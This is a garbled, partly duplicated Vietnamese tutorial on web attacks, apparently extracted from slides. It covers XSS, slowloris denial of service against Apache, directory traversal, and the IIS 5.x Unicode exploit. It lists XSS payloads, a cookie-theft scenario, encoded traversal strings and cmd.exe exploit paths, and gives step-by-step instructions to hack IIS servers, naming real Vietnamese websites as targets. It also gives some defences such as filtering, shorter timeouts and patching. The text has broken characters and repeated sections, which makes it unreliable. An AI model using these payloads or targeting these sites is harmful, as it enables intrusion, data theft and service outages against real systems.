Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
